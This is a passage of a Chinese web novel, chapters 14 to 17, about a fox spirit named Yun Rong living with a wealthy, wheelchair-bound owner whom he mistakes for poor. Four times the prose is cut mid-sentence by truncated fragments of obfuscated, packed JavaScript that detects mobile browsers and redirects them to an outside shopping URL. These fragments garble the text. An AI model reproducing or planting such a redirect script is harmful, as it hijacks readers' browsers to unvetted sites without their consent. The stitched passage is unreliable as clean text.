不过这个宠物间更像是为猫准备的,不一定适合狐狸,他将照片拍下来,让助理找个专业的设计师为绒绒量身定做一个。
别的宠物有的房间,他家绒绒也要有。
身后一直跟着的店员脸都快要笑酸了,没想到谢先生也无法抵抗毛绒绒的魅力,光是这一天的销售额就抵上之前大半年了,年尾的奖金怕是不用愁了。
-
今天恰逢周六,从宠物医院出来后谢砚就带着小狐狸回了浅月湾。
张助理的工作效率很快,到家的时候买的零食和玩具狐狸窝等也摆放好了,零食特地摆在另一个空房间里。
云容开开心心叼着自己唯一的尖叫鸡准备回自己的房间,走到门口的时候警惕地后退几步,他闻到了的陌生的味道!
谁!是谁!有人趁他不在家的时候偷偷闯进他的地盘了!
他的房间里就一张床,这个人都不肯放过!
见小狐狸呆呆站着不动,谢砚弯下腰推了推小家伙,“看看喜不喜欢。”
对!他要看看床还在不在!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370604|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>云容气势汹汹地跑进去想看看自己唯一的小床在不在,看清里面的模样时却愣住了。
嘴里的尖叫鸡啪叽一下掉到地上。
床已经被搬走了,出门时空荡荡的房间此时摆满了东西,柔软的地毯上是各式各样猫爬架,巨大的狐狸窝,很可爱的小屋子,还有好多好多狐狸叫不出来的东西和玩具。
看上去都软乎乎的,很符合狐的心意!
小狐狸开心地绕着谢砚的轮椅转了几圈,前爪趴在他的腿上确认,眼睛亮亮的,“这是给我的吗?这是给云容的吗?”
谢砚趁机捏了捏小家伙的爪子,“喜欢吗?”
“喜欢喜欢!特别喜欢!”云容长这么大还是头一次一下子就收到这么多礼物,满心欢喜无处宣泄,想都没想蹦到谢砚的身上连舔了好几下他的脸,又冲进自己焕然一新的房间里跑圈。
狐狸的舌头很软,温热湿濡的触感一闪而过,谢砚抬手抹去脸上的湿意,心软成一团。
他确定了,小狐狸很喜欢。
白色的毛团子在房间里疯狂冲刺,玩具狐狸窝,还有猫爬架和小屋子,都被小狐狸在上面滚滚蹭蹭,确定上面都沾满了自己的味道才被放过。
小狐狸一下蹿上最大的猫爬架,站在高处昂首挺胸地看着铲屎官为他打下来的江山,颇为满意。
他果然没有选错人!
谢砚见到小狐狸这么满意,心里升起一股奇异的满足感。
房间里配套的衣帽间还空着,或许还可以再多买点东西。
为了让自家小狐狸更开心,谢总第一次登上了某购物软件。
等小狐狸玩累后,谢砚又带着小家伙来到厕所,“这个是你专门用的厕所。”
云容狐疑地看着铲屎官手指的大箱子,现在的人类是怎么回事?用这么小的厕所?还是专门给动物用的?
等谢砚给他讲解完自动猫砂盆的使用方法,云容恍然大悟点点头,更加满意这个铲屎官了。
知道狐现在不方便用人类厕所,还知道买一个专门的厕所给他,真是个好人类。
加分加分加分!
加到一百分就不遗弃铲屎官啦!
谢砚讲完猫砂盆的使用方法,想让小狐狸进去试试,却见刚刚还认认真真听他说话的小狐狸却没有什么反应,还无聊地扒拉起浴室里的东西。
他好笑地摇摇头,小狐狸虽然有灵性,但不一定什么话都听得懂,还是慢慢教定点上厕所吧。
云容面不改色从他轮椅边挤出去,开玩笑,他又不是没有开智的蠢狐狸,怎么可能当着两脚兽的面做这种事?
就算是自己的铲屎官也不行!
小狐狸仰起头嗅了嗅,闻到楼下传来的饭菜香,急得直拍谢砚大腿,“别管厕所不厕所了,狐快饿死了!狐要吃饭!”
14. 第 14 章
饿了一天的小狐狸滴溜溜就跑到了电梯口,没有听到身后的动静,甚至还回头催促铲屎官。
“快点快点!”小狐狸摇摇尾巴,“天大地大,吃饭最大。本狐快饿晕了!”
这个人类怎么回事,居然连吃饭都不积极!这么傻的铲屎官在自然界是要被淘汰的。
小狐狸的目光中带着毫不掩饰的嫌弃,男人低头看着腿上的石膏,目光晦涩不明,或许他该给身陷祸害的董家身上加一桶油。
吃饭最积极的小狐狸一路小跑到餐厅,好奇地看着正在端菜的厨师王妈。
“这么大一盆东西,一定是给狐的!”
然后王妈手里的汤盆被放到了桌上,“诶哟,别跟着我呀,小心踩到你。”
高高翘起的尾巴压低了一些。
小狐狸听话坐下,渴求的目光继续追寻着王妈的身影,“肉肉的味道!是不是给狐的!”
然后那两份菜又被放在了桌子上。
怎么都不是给狐的?!
小狐狸不可置信地跑去厨房转了一圈,发现厨房里一份菜都没有了,他又站起来看看餐桌,一二三四,整整四份菜,居然没有一份是他的!
上一秒还开开心心的小狐狸转头对谢砚就是一顿指责,“说好的养我呢!怎么怎么多菜都不给我一份!你就是这么对待可爱的小狐狸的?!”
饿到两眼发晕的小狐狸又急又委屈,剔透的蓝色狐狸湿漉漉的,看得人恨不得把世界上所有好吃的都捧到他面前。
“小狐狸不能吃人类的食物。”谢砚示意王姨把特地为小狐狸准备的餐放到地上,“这个才是小狐狸可以吃的。”
小狐狸总算停下了骂骂咧咧,低头嗅了嗅自己餐盆里的东西,是很简单的水煮鸡胸肉,还放了一些蔬菜和水果。
如果是平时的云容一定早就低下头狼吞虎咽了,可空气中萦绕着饭菜的香味,完全不是这份简简单单的水煮肉可以比得上的。
以前经常化为人形去凡间觅食的云容咽咽口水,低头吃了两口水煮肉,一点味道都没有。
一直观察小狐狸的谢砚皱起眉,“不喜欢?”
他看向王妈,“换成牛肉试试……”
小狐狸轻轻叫一声,站起来,小爪子扒在餐椅上,努力把身体拉到最长,却发现还是不够高,看不到餐桌上的菜。
云容不知道两脚兽让不让他上椅子,只好看着饭菜的方向嘤嘤叫,“狐想吃香香的、有味道的饭。”
他竖起耳朵看向谢砚,表情很认真,“狐不想吃水煮菜。”
谢砚总算看明白了小狐狸的意思,他把嘤嘤叫的小家伙抱到腿上,让小狐狸看桌上的菜,很认真地和小狐狸讲道理,“狐狸不能吃有盐的食物,不然毛毛会掉光。”
特别爱惜自己毛毛的小狐狸吓到飞机耳。
旁边的王妈丝毫不觉得雇主和一只小狐狸讲道理是什么奇怪的事,还帮腔道:“对哦,小动物都不能吃有盐的食物,因为盐对动物的肾脏有负担,不仅会掉毛,严重还会致死。”
小狐狸不可置信地转过头看向在场唯一没有说话的李叔,慈祥的老人家笑着点点头,云容这才信了大半。
活了几百年,除了修为,云容最爱惜的就是这身像绸缎一样的狐狸毛,现在修为没有了,他不能连毛毛都失去了!
桌上的饭菜突然就不香了。
“还想吃吗?”谢砚揉了揉小家伙的脑袋。
“不吃了不吃了,我要吃自己的饭。”被两脚兽揉脑袋的感觉实在是舒服,小狐狸一开始还想要维持狐族的矜持,可很快就忍不住仰起脑袋去蹭头上的大手了。
这里要摸,就是这样,用力点,爽!
反正这里只有他一只狐,谁也不知道被人类摸头的是云容。
现在的他只是一只普普通通的狐狸罢了。
除了好看可爱,一无是处。
怀里的小狐狸享受地眯起眼,落在他小腿边的大尾巴一摇一摇的,蓬松柔软的触感隔着衣物传来,谢砚心里升起一股前所未有的满足感,远胜于谈好一笔大合作。
养狐狸的感觉居然是这样的好。
一人一狐的画面实在是和谐,谢砚唇角噙着一抹浅浅的笑意,饱览群书的李叔心里突然冒出自己昨晚看到的一句话——“好久没有看到少爷这么笑过了”。
很土,却该死的符合。
李叔忍不住扼腕,唉!怎么就是一只狐狸呢?!
桌上的饭菜还在等着,王妈不得不打断他俩的交流,“少爷,要不先吃饭吧?”
哦对!要吃饭!
吃饭最大的小狐狸果断抛弃铲屎官,滋溜一下从他的怀里蹿出去,直奔自己的小饭盆。
虽然没有味道,但还是比在外面和流浪猫抢吃的强的,在园子里的吃的猫粮甚至还会有蚁虫在里面爬。
怀里突然空荡荡的谢砚:……
小狐狸吃得头也不抬,眼里完全没有自己,仿佛这顿饭比他这个主人还重要,谢砚莫名地有点不爽,“拿个罐头过来。”
吃饭也不忘注意这边动静的三角耳朵抖了抖,罐罐?是黑猫说的那个罐罐吗?
小狐狸吃东西的速度很快,李叔取罐头不过几分钟,刚才还堆得高高的食物已经被吃得一干二净,小家伙正意犹未尽地舔着空下来的饭盆。
谢砚打开罐头。
咔哒——
粉色的肉泥被倒在食盆里。
蓝色的狐狸眼瞪得圆圆的,小狐狸的毛脸上出现明显的惊呆表情,世界上居然会有如此好吃的东西!
难怪黑猫愿意那么努力打工!
换他他也愿意啊!
云容在罐罐的诱惑下彻底抛弃了矜持,前爪扒拉在谢砚没有受伤的那边腿上,大尾巴快摇出花来,“你可真好!你是世界上最好的铲屎官!”
谢砚捏了捏在他腿上哼哼唧唧撒娇的小狐狸的耳朵,心里那股莫名的郁气这才消去。
-
尝了一次猫罐头后,云容一直对那种美味念念不忘,傍晚时几乎是掐着饭点去找谢砚。
彼时的谢砚正在书房里开视频会议,电脑里的市场部经理战战兢兢汇报着工作,谢砚表情算不上好。
嘎叽嘎叽——
正在说话的经理一顿,抬头看了眼谢砚,谢砚抬眸睨了他一眼,“继续。”
“哦,好。”经理头皮一紧,咽了咽唾液,继续汇报项目方案,心思却飞到了谢砚那边,到底是谁胆大包天敢打扰谢总开会?
会议间里的人不约而同竖起耳朵,想看看这个胆大包天的人是谁。
那边的云容挠了好久的门才听到谢砚说了声进来,这才勉强停下动作。
都要吃饭了,怎么不出来,还让狐进去?
不过看在铲屎官腿脚不便的份上,小狐狸还是很大度自己压下门把手跑进去,
“该吃饭啦!”小狐狸拍了拍谢砚的大腿,却没想到脚下一空,居然直接被捞到了男人的怀里。
毛绒绒的白色脑袋出现在桌面上好奇地张望,正在开会的众人齐齐叹了口气,还以为万年单身的谢总脱单了,没想到是养了狗。
谢砚不知道自家小狐狸又被当成了狗,轻轻抚摸着小狐狸的脊背,怀里的小家伙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370605|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻飘飘的,触感柔软,刚才还阴沉沉的脸此时带着几分隐约的炫耀,“抱歉,家里的狐狸太调皮了。”
众人这才发现谢总怀里的不是狗,而是一只雪白的小狐狸。
谢总居然养狐狸了!
不等他们细瞧,谢砚说了句三天内要见到一个新方案就结束了会议。
看着漆黑一片的小窗口,经理感叹:“别的霸总都是养小情人,就我们谢总养狐狸……”
另一人接话,“谢总养情人才不正常吧,我都想象不出来谢总怀里抱着个小美人是什么样子。”
“我也是,一闭眼只能想到谢总骂人的模样。”
“不过那只狐狸是真的好看啊,仙仙的,看得我都想拜一拜了,不愧是谢总养的。”
不到一小时,谢砚养了只白狐的消息就传遍了整个集团内部,不少私人小群直呼冷脸霸总就该配小狐狸精,在谢砚不知道的情况下,谢总x小狐狸精的同人文就这么悄悄在公司小群里泛滥。
cp文里的两个当事人此时正在餐厅里对峙。
不到五分钟就吃完水煮菜的小狐狸端坐在地上,小爪子扒拉着干干净净的饭盆,“罐罐!狐要吃罐罐!狐要吃好吃的罐罐!”
也不知道小家伙哪来这么大的力气,沉重的饭盆被它敲得哐哐响,可小家伙声音娇娇嗲嗲的,哪怕知道小狐狸在骂他,谢砚也生不起气来,更多的是无奈。
他揉了揉眉心,“一天只能吃一个罐罐,没有小狐狸一天吃两个罐罐的,你看我也没有用。”
不是他不想给绒绒吃,而是问过张远青了,小狐狸的体质不适合吃太多罐罐,吃太多的话反而还容易胆固醇过高,对小狐狸身体不好。
“狐要吃两个罐罐!”小狐狸一下蹿到他的腿上,大声道:“人一天吃三顿饭,为什么狐不可以一天吃两个罐罐!”
一人一狐的脑回路神奇的对上了,谢砚摸着小家伙的脑袋,面不改色心不跳骗小狐狸,“因为我的钱都拿去给绒绒买玩具和小窝了,没有钱买那么多罐罐,别的小猫咪好几天才能吃一个罐罐。”
狐狸叫戛然而止,小狐狸蓝色兽瞳中写满了怀疑,很快又不满意地叫起来,“我是狐狸,又不是小猫咪!狐狸和猫不一样,可以一天吃两个罐罐!”
狐一天吃三顿,只要求吃两个罐罐,又不是餐餐都要吃,云容自认为是一只很贴心的狐狸了。
世界上哪有像他这么好的狐狸!
谢砚对上它的眼神,莫名有种小家伙已经听懂的错觉,他忍下心里那股怪异的感觉,继续哄骗小家伙,“不信你看。”
云容顺着他的目光看过去,只见谢砚手上的东西里出现一个胖乎乎的金色小猫咪,眼神看上去就不太机灵,还有一道女声传出来,“我是你妈妈,又不是许愿池的王八,哪能天天给你吃罐罐啊,没有小猫咪一天一个罐头的,那些视频都是骗咪的。”
小狐狸试图讲道理,却看到谢砚手指一滑,又换成一个狗,背景里的声音意思却是差不多的——只有家里条件特别特别好的小动物才可以天天吃罐罐的,大部分小动物家里都是好几天才给一个罐罐,有时候犯错了,连这个罐罐都没有了。
谢砚收好手机,把腿上的小狐狸转了个方向,把它抱起来,语气幽幽:“你看,为了给绒绒买玩具和肉肉,我这个月的工资都快花光了,连肉都快吃不起了。”
小狐狸看清桌子上的菜,吓到尾巴炸毛,“叽——!”
黑豆猪骨汤,清蒸鱼,凉拌黑木耳苦瓜,清炒菠菜。
绿油油的一片,还没有狐吃的丰盛,铲屎官到底过的什么苦日子?!
15. 第 15 章
云容原本还是有些不信自己精挑细选的铲屎官这么穷的,下定决心一定要揭露铲屎官的真面目。
万一他是心血来潮想骗狐的呢?
一连两天,只要谢砚在家,小狐狸都寸步不离地跟在他的身后,连洗澡都要在浴室门口守着,洗澡时间长一点就会挠门,简直比猫还粘人。
年轻时养过猫的李叔经验丰富,“绒绒这是担心少爷会被水淹死呢。”
“屁!”小狐狸烦躁地甩甩尾巴,大声替自己争辩:“狐是怕他在里面偷偷吃独食。”
完全没考虑到正常人是不会在浴室里吃东西的,谢砚更不会。
越观察越绝望,云容发现这个铲屎官不仅没钱买肉,甚至衣食住行都很简陋。
衣服是很简单的黑白灰色,款式差不多,什么刺绣花纹和装饰的宝石都没有。
首饰更别说了,除了手腕上带一条银色的大盘子,居然什么装饰都没有!
以前他见到的那些达官贵人,就算是破落户的老爷夫人,出门也要带些金银首饰充充面子的,尤其是脑袋,金灿灿亮晶晶越多越好。
而铲屎官就带一条不值钱的银链,在外面是会被人笑话的。
小狐狸扒拉扒拉铲屎官随手脱到桌子上的手饰,确认上面连最便宜的宝石都没有镶一颗,有些愁。
价值几百万还惨遭嫌弃的限量版手表:……
而住的房子也很简单,虽然大,但是没有任何古董装饰,只有一些从后院摘的新鲜花朵和几幅奇奇怪怪的画。
小狐狸端坐在最奇怪的那副画前,歪着脑袋看了大半天,也没研究出那个歪眼斜鼻的人到底长什么样,世界上怎么会有人眼睛长在鼻梁上的?
真是太奇怪了,难道是铲屎官捡的?还不如让狐用爪子在画布上随便踩几下呢。
而且……
小狐狸后退几步,惊疑不定舔舔自己炸起的尾巴毛。
奇怪的线条,诡异的色彩,越看越吓狐!
小狐狸和那两个一高一低的眼睛对视了一会,站起来,试图把这副让狐害怕的画扒拉下来,蹦跶了半天都够不着,只能气呼呼地朝着画上诡异的女人龇牙威胁,转身小跑离开这个房间。
他才不是被吓到了呢!
最后一个是行。
小狐狸灵活地钻进地下车库里,看到里面整齐排列的车子,心里燃起了那么一点希望。
这么多车,铲屎官会不会是有一点钱的?
小家伙迈着欢快的步子开始巡视自己的新领地,每一辆车都要蹭蹭留下自己的味道,还不忘绕一圈认真观察。
这辆车没有。
这辆也没有。
……怎么这辆也没有啊。
再去看看那辆!
……怎么都没有!
这些车只有铁皮,别说宝石了,连最简单的装饰都没有。
唯一一辆前面有装饰的还是做工粗糙的小人,脸都看不见,一看就不值钱。
以前他看到那些达官贵人的马车都好漂亮好漂亮的,有的马车都有房子这么大了,六匹大马才拉得动。
而且他第一次和铲屎官见面时周围那些明显是家丁的壮汉也不见了,现在只剩下一个管家一个做饭的阿姨和一个打理花园的花匠。
铲屎官这么穷了他们还没走,应该是有卖身契在铲屎官身上吧。
都快吃不上肉了也没卖掉他们,铲屎官真是个大好人。
刚才还开开心心的小狐狸恹恹地耷拉着耳朵,不得不接受这个可怕的事实——铲屎官无论衣食住行都没有钱啊。
他精挑细选,选了一个好穷的铲屎官。
谢砚俊美的脸浮现在小狐狸脑里,云容自我安慰,“虽然铲屎官很穷,但是他好看啊。”
他抱着尾巴给自己打气,“穷是一时的,好看是一辈子呀。”
还是再等等,等铲屎官有钱了,他就能过上不愁吃喝的日子了。
可是……铲屎官现在连肉肉都吃不上几顿,怎么样才能让铲屎官有钱啊。
除了修炼一直无忧无虑的小狐狸还是第一次遇到这么艰难的问题。
-
傍晚,准点下班到家的谢砚打开车门,却没有看到那道白色的小身影出来迎接自己,“绒绒呢?”
过来帮忙推轮椅的李叔:“在自己房间里呢,小家伙也不知道怎么了,下午去停车场逛了一圈上来后一直emo了。”
推谢砚下来的保镖忍不住看了一眼李叔的满头白发,没想到还能从李管家口中听到流行的网络用语。
正瘫在自己小窝里想办法的小狐狸突然感觉身体一轻,然后被放到一个温暖的怀抱里,鼻翼里是谢砚身上清爽的味道,黑色的小鼻子耸动几下,云容愁上加愁。
完了,铲屎官连香薰都用不起。
为了小狐狸健康特地不喷香水的谢砚不知道自己此时在小狐狸眼中已经成了超贫穷人士,他看到小狐狸没什么精神的样子,心一沉:“生病了?”
谢砚轻轻摸了摸小狐狸的脑袋,“没事,我们去看看医生。”
云容抖抖耳朵,蹭了蹭谢砚的手。
铲屎官身上的味道很好闻,不用香薰也挺好的。
“医生来看过了,说身体没什么事。”李叔解释,“说是小狐狸心情不好。”
谢砚手法娴熟地rua狐狸,小狐狸一双蓝色的眼睛眯起,显然是舒服得紧,连带着他开了一天会的烦躁也烟消云散。
“晚餐给绒绒加个鸡腿吧。”谢砚挠了挠小狐狸的下巴,“今晚绒绒吃两个鸡腿。”
上一秒还没精打采的小狐狸滋溜一下就蹿到了地上,飞快跑到他后面,前爪放在他的轮椅上,催促他快点下楼厨房。
“快点快点,鸡腿在等着狐呢!”
谢砚听话地操控轮椅下楼,甚至有点开心。
以前小狐狸都是先走一步,现在知道帮自己推轮椅了。
真好。
王妈的厨艺很好,哪怕是简单的水煮鸡腿也能做得嫩嫩的,一口咬下去还有甜美的肉汁流出来。
小狐狸姿势优雅但速度极快吃完一个鸡腿,这才想起好像有事没有办,习惯性地去看看铲屎官吃什么。
他蹿到椅子上站起来,看到桌上的菜式愁得耳朵都压下去了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370606|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一碗连肉都没有的冬瓜汤,一碟豆腐,西蓝花炒猪肝,两块煎鱼,还有一个烤红薯就是谢砚今天的晚餐了。
虽然闻上去很香,但是大部分都是蔬菜。
好惨的一个人哦,天天都要吃草。
一顿吃的肉还没有狐多。
云容看看自己餐盘里肥美的大鸡腿,再看看桌子上的一片绿油油,突然生出几分愧疚。
铲屎官宁愿自己吃草也要让狐吃大鸡腿,还能天天都吃上肉肉,铲屎官可真是个大好人!
小狐狸开心又难过,大耳朵耷拉下来,整个脑袋看上去圆乎乎的,圆润的眼睛紧紧盯着桌上的菜式,让人觉得再不让小狐狸吃就是天大的罪过了。
谢砚不知道王妈特地为他早点恢复伤势特地准备的清淡菜式在小狐狸眼里成了肉都买不起,更不知道小狐狸为什么一会开心一会低落,见小狐狸一直看着他的菜,还以为是小家伙想尝尝他吃的饭菜的味道。
谢砚:“……”前面的菜突然就不香了。
如果是平时,谢砚一定是不会答应的,还会直接把小狐狸抱下去,可今天看到小狐狸连吃饭都蔫头耷脑的样子,还是心软了。
他叹了口气,让人拿了一碗清水过来,夹起一块香煎三文鱼洗掉上面的盐,放进小狐狸的饭盆里。
他板着脸道:“只许吃一次。”
小狐狸不可置信瞪大眼,只有两块鱼,居然还给一块给狐!
谁说谢砚当铲屎官不好啊?谢砚当铲屎官可太好了!
他可真是个眼光特别好的狐狸!
可老是让铲屎官把自己的肉分给狐也不是个事,铲屎官还有伤在身呢,他是一个好狐狸,不能和伤患抢吃的。
“谢砚,你可真好!”小狐狸动作灵巧地回到自己的位置上,试探性地舔了一下谢砚上供到他食盆里的香香煎鱼。
虽然放在水里洗了一下,但三文鱼上还是残留着少许味道,嘴巴快淡出个鸟的云容舍不得一下就吃完这块三文鱼,小口小口地舔着,蓬松的尾巴欢快地扫动,看得人心痒痒的。
小狐狸吃得很专心,谢砚还是没忍住,弯下腰偷偷摸了一把尾巴尖尖,柔软微凉的触感让人心头发软。
吃得很认真的小狐狸完全没有发现,谢砚趁机rua了好一会尾巴尖的绒毛,小心控制好力道,眼睛一直注意着饭盆里的三文鱼。
三文鱼越来越少,还剩下一丁点的时候他若无其事收回手。
云容甩甩尾巴,怎么感觉怪怪的?
他抬起头,铲屎官正在剥烤红薯的皮,根本没有看自己。
小狐狸疑惑歪头,难道是错觉吗?
没等小家伙想明白,谢砚又把香喷喷的烤红薯掰了一块放到小狐狸面前,“要吃吗?”
“要!”小狐狸站起叼走他手里的烤红薯。
香甜软糯的烤红薯三两口被吃完,小狐狸舔干净自己的嘴巴,这才回过神来他干了什么,懊恼地用尾巴打了两下地板。
他居然又和铲屎官抢吃的了。
云容带着说不清的愧疚蹭了蹭谢砚腿上的石膏,他决定了,他要养铲屎官!
16. 第 16 章
云容向来是一个很有行动力的小狐狸,既然下定了决心,就要开始自己的养人大计。
短短几天,云容就摸清楚了这家人的作息。
铲屎官七天有五天需要出去捕猎,不对,是工作,早出晚归,白天基本不在家。
管家李叔做完自己的工作后大部分时间都呆在自己的房间里不知道做什么。
做饭的厨师王妈和铲屎官谢砚的工作时间同步,只有铲屎官在家吃饭的时候才会过来做饭。
至于花匠和负责清洁的阿姨两天才会过来一次。
他有很多的时间去捕猎。
但问题又来了。
他目前是没有办法离开这个院子去外面捕猎的,活动范围只在屋子和院子里。
而这个大房子里除了关上门的房间,每一个地方都被小狐狸留下了自己的气味,理直气壮归纳为自己的领地,可他走了一大圈,居然连吃的都没有看到!
唯一一个储存食物的大箱子在厨房,小狐狸试过,不是他的力气可以打开的。
小狐狸蹲在冰箱前看了很久,对着紧闭的冰箱门龇了龇小尖牙,转身朝屋外走去。
说起来,他还没有好好逛过外面呢。
浅月湾的花园很大,白色的小狐狸穿梭在精心打理的花园里,灵动漂亮的小身影像是小精灵。
云容低头嗅了嗅不知名的小花,黑色的湿漉漉的小鼻子上沾了些花粉,花粉有些呛狐,他后退几步,打了好几个小小的喷嚏。
“讨厌的花。”小狐狸不满地嘀咕几声,抬爪小心避开这一丛花,继续在花园里寻找有没有可以喂铲屎官的东西。
溜达了大半天,院子里除了花就是草,小狐狸累得趴在地上小狗喘气,他舔舔自己走得有些酸的爪子,漂亮的蓝眸里满是幽怨,“这么大的院子,怎么连菜都不种呀……”
小狐狸环视一圈,突然目光一凛!
等等!角落里那几颗小小的树上面挂着的圆圆的东西是什么?
小狐狸迅速靠近,才发现放在角落里的似乎是几棵小小的橘子树,矮矮胖胖的,还没有铲屎官高。
虽然小,可这几棵树实在是很争气,上面挂满了绿色的小果子,有些果子末端泛着黄,显然是还没有熟透。
小狐狸绕着这几棵树走了一圈,终于在一棵树的顶端发现了一颗已经完全变成橙色的橘子。
他眯着眼打量了一会,后退几步,猛然往前一扑!
小小的橘子就这么被叼在了嘴里,狩猎成功的小狐狸昂首挺胸,翘着尾巴尖往屋内走去。
虽然只有一颗橘子,但也是能投喂铲屎官的。
几分钟后,花匠拎着肥料从杂物房里出来,看到橘子树上空荡荡的还在摇晃的叶子,发出一声怒吼:“天杀的!谁把我的橘子偷了!”他好不容易才等到一颗橘子变黄!
罪归祸首正小心地控制着力道,生怕把橘子咬烂。
小狐狸本来就不太喜欢柑橘的味道,这颗刚刚变色的小橘子更是酸得厉害,柑橘皮破开的辛辣味道漫在口腔里,刺得云容忍不住眯眼,好不容易才把小橘子叼回去。
碰巧遇上刚刚下班回来的谢砚,看到那道坐在轮椅上的身影,小狐狸眼睛一亮,加快速度直直冲了过去。
谢砚下意识伸手接住了扑过来的小狐狸,还没来得及摸一摸在家等了自己一天的小狐狸,伸出去的手突然一热,是一只湿漉漉亮晶晶的小橘子。
差点把橘子扔出去的谢砚:“……”
“怎么会有橘子?”谢砚僵着手,看到腿上的小狐狸耷拉着粉色的小舌头,眯着眼睛打了好几个喷嚏,鼻子皱巴巴,显然是被酸到了。
过来人李叔欣慰道:“应该是绒绒特地送给少爷的礼物。”
至于是从哪里来的,李叔瞥了一眼后院,没记错的话花匠最近在折腾四季橘准备过年用。
缓过气来的云容用爪子推了一下谢砚的手,甩甩尾巴,矜持道:“就是送给你的,快点吃了。”
在外面待了一天也没有带点猎物回来,一定是饿坏了吧,不要太感谢狐。
谢砚和带着两个小牙印的橘子对视了一会,转过头又对上小狐狸期待的目光,另一边是李叔准备看好戏的眼神。
李叔凑热闹不嫌事大,“这可是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370607|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小狐狸特地留给少爷的,连我们都没有,少爷一定不要辜负小家伙的心意啊。”
小狐狸微微眯起眼,“谢砚,你这么久都不吃什么什么意思,难道不喜欢我辛辛苦苦找到的橘子?”
这可是他第一次把捕猎成果分享给别人!
小狐狸眼睛中的杀意几乎要溢出来,谢砚沉默了一会,不动声色在衣服上擦了一下橘子,然后把橘子掰开,吃了一瓣。
“好吃吗好吃吗?”小狐狸瞬间消气了,站起来用爪子撑住谢砚的肩膀,居高临下看着谢砚,“人,喜欢狐带回来的橘子吗?”
“……好吃。”谢砚面不改色咽下酸得快掉牙的橘子,缓了几分钟才说得出话,“绒绒真是世界上最厉害的小狐狸。”
“那当然,你可真有眼光!”小狐狸得意地抖抖耳朵,从谢砚的腿上跳下来,,看到他手里剩下的橘子,用小鼻子拱了拱他的手,“那你要把剩下的橘子都吃完,不能辜负狐的心意!”
哪怕他们语言不通,谢砚也明白了小狐狸的意思,口腔里的酸涩还未散去,谢总勉强维持住表情,又开始哄自家小狐狸。
“这是绒绒第一次给我送东西,我舍不得一下吃完,放在冰箱里保存起来,好不好?”
云容看看谢砚,又看看他手里只吃了一瓣的小橘子,有些不太相信。
可谢砚语气太认真了,表情看上去也很正直,单纯的小狐狸歪头思考了一会,还是慢慢地放下爪子,不再催他吃。
谢砚绷紧的脊背这才放松下来,吃一瓣就去了他半条命,全吃完怕是不用活了。
小狐狸乖乖地看着李叔将小橘子放进一个密封盒里,又放进冰箱里,一层一层的,像是藏着什么宝藏一样。
大尾巴轻轻蹭了一下谢砚受伤的脚,小狐狸幽幽叹了一口气,一个小橘子显然是喂不饱铲屎官的,狐还是得继续捕猎才行啊。
唉,没用的两脚兽。
他站起来用爪子拍拍谢砚的手,“等着,狐下次一定给你带肉回来!”
谢砚不明所以,顺势捏住了小狐狸的爪子。
嗯,手感不错,软乎乎的。
17. 第 17 章
谢砚不知道自家小狐狸的准备给他来个大惊喜,而是抓着小家伙的爪子捏了捏。
小狐狸的爪子和猫狗都不一样,并不会完全露出可爱的肉垫,底部而是覆着一层浅浅的绒毛,捏起来却是软乎乎的手感。
实在是很可爱,谢砚忍不住捏了一会。
小狐狸还是第一次被人这么捏爪子,感觉怪怪的,耳朵忍不住往后撇,“算了,看在你给我吃肉肉的份上,我让你捏一会。”
谢砚不知道自己得到了多大的殊荣,捏完了狐爪子,他的手又放在小家伙的耳朵上顺着往下挼。
小狐狸来家里不过才一个星期,就已经被养胖了不少,毛发不似之前那样干枯毛躁,手感顺滑了许多,或许是天冷的缘故,毛发也比之前蓬松,似乎把在宠物医院洗澡时掉的毛都长回来了,往那一坐,就是一个圆嘟嘟的汤圆团子。
铲屎官摸狐的手法很好,小狐狸把脑袋搁在轮椅的扶手上,舒舒服服地眯着眼,小声哼哼唧唧,尾巴一晃一晃的,舒服得很。
谢砚垂眸看着昏昏欲睡的小狐狸,手似乎不经意地朝着尾巴的方向移过去。
是这条尾巴一直在自己的腿边晃动。
